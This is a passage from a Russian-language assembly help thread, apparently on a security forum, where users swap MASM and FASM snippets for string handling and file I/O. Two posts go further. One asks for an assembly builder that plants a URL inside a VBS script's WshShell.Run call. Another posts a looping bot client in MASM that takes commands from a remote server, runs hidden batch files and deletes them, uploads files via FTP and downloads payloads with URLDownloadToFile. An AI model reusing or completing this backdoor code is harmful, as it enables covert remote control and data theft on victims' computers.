Переделай под себя... Code: .486 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\include\dialogs.inc include \masm32\macros\macros.asm include \masm32\macros\windows.asm uselib kernel32, masm32, user32 IDC_EDIT equ 1001 DlgProc proto :dword, :dword, :dword, :dword .data? hInstance dd ? .code start: mov hInstance, FUNC(GetModuleHandle, NULL) call main invoke ExitProcess, eax main proc Dialog "Test", "Calibri", 10, \ WS_OVERLAPPED or WS_SYSMENU or DS_CENTER, \ 2, \ 50, 50, 150, 80, \ 1024 DlgButton "&OK", WS_TABSTOP, 48, 40, 50, 15, IDOK DlgEdit WS_BORDER or ES_WANTRETURN, 3, 20, 140, 9, IDC_EDIT CallModalDialog hInstance, 0, DlgProc, NULL ret main endp DlgProc proc hWin:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD local fh : dword local buffer[512] : byte local count : dword .if uMsg == WM_COMMAND .if wParam == IDOK mov fh, FUNC(CreateFile, chr$("file.txt"), GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0) .if fh != INVALID_HANDLE_VALUE mov count, FUNC(GetDlgItemText, hWin, IDC_EDIT, addr buffer, 512) invoke WriteFile, fh, addr buffer, count, addr count, NULL invoke CloseHandle, fh .endif .endif .elseif uMsg == WM_CLOSE invoke EndDialog, hWin, 0 .endif xor eax, eax ret DlgProc endp end start
Как сделать динамическую библиотеку в Linux на Fasme, которая считывает заданное количество байт с файла? аналог функции fread из stdio.h?
Спасибо DooD и Kaimi ,разобрался нужно было не записывать в буфер а передавать строку с окна в TextEdit кому если пригодится это часть кода которая при нажатии на кнопку создает файл и когда водишь в поле свою строчку в TextEdit он записывает в наш нами созданный файл все то что мы вводим PHP: .IF ax == BN_CLICKED invoke MessageBox,hWnd,addr TextButton1,0,MB_ICONINFORMATION invoke CreateFile,addr file,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 mov handle,eax invoke GetWindowText,hwndEdit1,addr TextEdit1,512 invoke WriteFile,handle, addr TextEdit1,eax,addr buf,0 invoke CloseHandle, handle еще вопрос как сделать запись между строками например у меня в масивах при нажатии на кнопку создается файл на vbs скрипте естественно билдер на асме и туда нужно записать урл адрес между скобками в сам vbs скрипт пример такой WshShell.Run "http://тест.ру", 1 то есть я вожу в билдере урл адрес создается файл и урл адрес должен записаться именно тут WshShell.Run "http://тест.ру", 1 где выделено красным , маленький пример достаточно будет мне разобраться если поможете ,Спасибо.
Снова решил изучать асм, и снова не работает простейший пример. Это не язык, а какое-то проклятье. Подскажите, что я снова сделал не так? Смысл - инверсия строки, т.е. копировать первую строку во вторую в обратном порядке Code: .386 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\macros\macros.asm uselib kernel32,user32 .data source byte "some string 12345 go",0 target byte sizeof source dup(0) .code start: xor edi,edi mov ecx,sizeof source mov esi,ecx rev: mov dl,source[edi] mov target[esi],dl inc edi dec esi loop rev invoke MessageBox,0,addr target,addr source,0 ret end start Олли показывает, что строка копируется, но вывести ее не удается. Почему?
проклятье ыы на вот кодес Code: .386 .model flat,stdcall option casemap:none include include\windows.inc include include\kernel32.inc include include\user32.inc includelib lib\kernel32.lib includelib lib\user32.lib .data source db "some string 12345 go",0 target db sizeof source dup(?) .code start: xor esi,esi mov edi,sizeof source-10b mov ecx,sizeof source rev: mov dl,source[esi] mov target[edi],dl inc esi dec edi loop rev invoke MessageBox,0,addr target,addr source,0 invoke ExitProcess,0 end start
DooD, да смех смехом, но еще ни одну прогу (даже самую простую) не написал без помощи со стороны. . И так уже больше года. Спасибо большое за помощь, единственное - почему минус 2 символа? Первый - это вероятно, нуллбайт, а второй что?
#13,#10 если проще объяснить.Перевод строки.А для того что бы понять всю хардкорность асма https://forum.antichat.ru/thread320055.html а вообще под венды асм не столь труден,попиши под дос,вот тогда поймешь.
Народ, вот я в цикле постоянно записываю в переменную какие либо строки.И получается так,что если я записываю 2 строчки в переменную в первый раз и делаю так: Code: mov string,0 То записывая, во второй раз 2 строка остается....Как обнулить переменную или я что то не так делаю?
Code: .data bat db 500 dup(?) load db 100 dup(?) upload db 100 dup(?) buff db 1000 dup(?) sendftp db 100 dup(?) .code online: call Connect call pars call RUN mov load,0 mov upload,0 mov bat,0 mov sendftp,0 mov buff,0 invoke Sleep,12000 jmp online exit11: invoke ExitProcess,0 ;Connect to file############################################## Connect proc invoke WSAStartup,101h,addr wsadata invoke socket,AF_INET,SOCK_STREAM,0 mov hsock,eax invoke htons,port mov sin.sin_port,ax invoke inet_addr,addr ip mov sin.sin_addr,eax mov sin.sin_family,AF_INET invoke connect,hsock,addr sin,sizeof sin invoke send,hsock,addr get,sizeof get,0 invoke recv,hsock,addr buff,sizeof buff,0 ;Конектимся к скрипту задание получили######################### invoke socket,AF_INET,SOCK_STREAM,0 mov hsock,eax invoke htons,port mov sin.sin_port,ax invoke inet_addr,addr ip mov sin.sin_addr,eax mov sin.sin_family,AF_INET invoke connect,hsock,addr sin,sizeof sin invoke send,hsock,addr delquest,sizeof delquest,0 ;############################################################ invoke closesocket,hsock invoke WSACleanup ret Connect endp ;Parsing############################################################## pars proc mov edi,offset buff mov ecx,1000 mov ax,'[' repne scasb mov ebx,edi mov ecx,500 mov ax,']' repne scasb sub edi,ebx mov ecx,edi dec ecx cmp ecx,0 jz parsload mov esi,ebx mov edi,offset bat rep movsb parsload: mov edi,offset buff mov ecx,1000 mov ax,'#' repne scasb mov ebx,edi mov ecx,100 mov ax,'$' repne scasb sub edi,ebx mov ecx,edi dec ecx cmp ecx,0 jz parsupload mov esi,ebx mov edi,offset load rep movsb parsupload: mov edi,offset buff mov ecx,1000 mov ax,'{' repne scasb mov ebx,edi mov ecx,100 mov ax,'}' repne scasb sub edi,ebx mov ecx,edi dec ecx cmp ecx,0 jz ex mov esi,ebx mov edi,offset upload rep movsb ex: xor edi,edi xor esi,esi xor eax,eax xor ebx,ebx xor ecx,ecx ret pars endp RUN proc cmd: cmp bat,0 jz _upload invoke CreateFile,addr ffile,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 mov handle,eax ;invoke WriteFile,handle,addr chcp,9,addr check,0 invoke lstrlen,addr bat invoke WriteFile,handle,addr bat,eax,addr check,0 invoke CloseHandle,handle invoke ShellExecute,0,addr open,addr ffile,0,0,SW_HIDE invoke Sleep,1000 invoke DeleteFile,addr ffile _upload: cmp upload,0 jz download invoke lstrcat,addr sendftp,addr sends invoke lstrcat,addr sendftp,addr upload invoke lstrcat,addr sendftp,addr prob invoke lstrcat,addr sendftp,addr upload ;команды для ftp################################################################################## invoke CreateFile,addr kom,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 mov handle,eax invoke WriteFile,handle,addr ftpkom,39,addr check,0 invoke lstrlen,addr sendftp invoke WriteFile,handle,addr sendftp,eax,addr check,0 invoke WriteFile,handle,addr cr,sizeof cr,addr check,0 invoke WriteFile,handle,addr bye,3,addr check,0 invoke CloseHandle,handle ;создаем батник#################################################################################### invoke CreateFile,addr fffile,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 mov handle,eax ;invoke WriteFile,handle,addr chcp,9,addr check,0 invoke WriteFile,handle,addr ftp,sizeof ftp,addr check,0 invoke CloseHandle,handle invoke ShellExecute,0,addr open,addr fffile,0,0,SW_HIDE invoke Sleep,5000 invoke DeleteFile,addr fffile invoke DeleteFile,addr kom ;################################################################################################# download: cmp load,0 jz exitrun invoke URLDownloadToFile,0,addr load,addr exez,0,0 exitrun: ret RUN endp Вот собственно тот открывок.Что то не получается в обнуление переменных.
Ткни носом где у тебя тут цикл и какую переменную нужно "обнулить", разбираться с твоими переходами не хочеться. А вообще- rtlzeromemory
Задача: объединить 2 массивы и отсортировать, пробую реализовать объединение: Code: .386 .model flat, stdcall option casemap:none include .\include\kernel32.inc include .\include\windows.inc include include\user32.inc includelib .\lib\kernel32.lib includelib lib\user32.lib .data A db 0,1,2,4,5 l_A = $ - A B db 0,1,3,7,9 l_B = $ - B l_U = l_A + l_B U db l_U dup (?) index db 0 .data? stdout dd ? cWritten dd ? min db ? .code start: xor bx, bx xor cx, cx xor si, si lea bx, U lea si, A lea di, B mov cl, byte ptr l_A l1: mov bx[index], [si] inc index inc si loop l1 mov cl, byte ptr l_B l2: mov bx[index], [di] inc index inc di loop l2 ; invoke GetStdHandle, STD_OUTPUT_HANDLE ;получаем дескриптор стандартного устройства вывода ;mov stdout, eax ;записываем его в stdout ;invoke WriteConsoleA, stdout, ADDR U, SIZEOF U, ADDR cWritten, NULL ;выводим сообщение exit: invoke Sleep, 60000 invoke ExitProcess, 0 end start mov bx[index], [si] // тут ошибка нужно еще как-то в консоль вывести массив.
Здраствуйте,давно еще скачал я значит примеры(example) для FASM'a, компилировал,запускал ПРОСТОЙ ПРИМЕР.exe, было всё GOOD, на днях хотел просмотреть эти примеры---> компилирую,запускаю ПРОСТОЙ ПРИМЕР.exe и вижу что они работаю скрытно+ЦП на 101% грузят Пробовал разные версии фасма всё та же история... Вопрос: Что за фигня?
Прошу помощи Имеется строка "earth and moon" Нужно сформировать новую строку, в которой вместо слов, будет их длина. То есть должна получиться строка "5 3 4" Вот написал программу которая считает длину только первого слова, а дальше не получается.. Компилятор FASM Code: include 'win32ax.inc' .data string db 'earth and moon',0 str_len db 14 ; количество символов в строке char_len db 0 ; количество символов в слове new_str db '',0 ; новая строка для результата separator db ' ',0 ; разделитель слов в строке Caption db 'Результат',0 .code start: xor eax,eax xor ecx,ecx mov ebx,0 ; счетчик пройденных символов в строке mov cl, [str_len] mark: mov esi, string mov edi, separator add si,bx cmpsb jnz mark2 ; если символ не пробел, то переходим на mark2 mov al,[char_len] mov edi,new_str call IntToStr ; переводим число в строку для вывода на экран invoke MessageBox,0,new_str,Caption,MB_OK ; выводим новую строку invoke ExitProcess,0 mov [char_len],0 inc bx mark2: inc [char_len] inc bx loop mark IntToStr: ; процедура для перевода числа в строку для вывода на экран ;eax = number, ebx = base(основание системы счисления=10), edi = buffer(буфер для хранения строки ;результата) push ecx edx xor ecx,ecx mov ebx,10 .new: xor edx,edx div ebx push edx inc ecx test eax,eax jnz .new .loop: pop eax add al,30h mov [edi], al inc edi loop .loop mov al,0 mov [edi],al pop edx ecx ret .end start
2 LASSO Code: .486 .model flat,stdcall option casemap:none include windows.inc include user32.inc include kernel32.inc include masm32.inc include msvcrt.inc includelib user32.lib includelib kernel32.lib includelib masm32.lib includelib msvcrt.lib include c:\masm32\macros\macros.asm .data string db 'earth and moon',0 space db ' ',0 .data? outstr db MAX_PATH dup(?) .code start: mov eax,offset string @@: invoke crt_strtok,eax,addr space .if eax!=0 invoke lstrlen,eax invoke lstrcat,addr outstr,ustr$(eax) invoke lstrcat,addr outstr,addr space xor eax,eax jmp @b .endif invoke MessageBox,0,addr outstr,0,MB_OK invoke ExitProcess,0 end start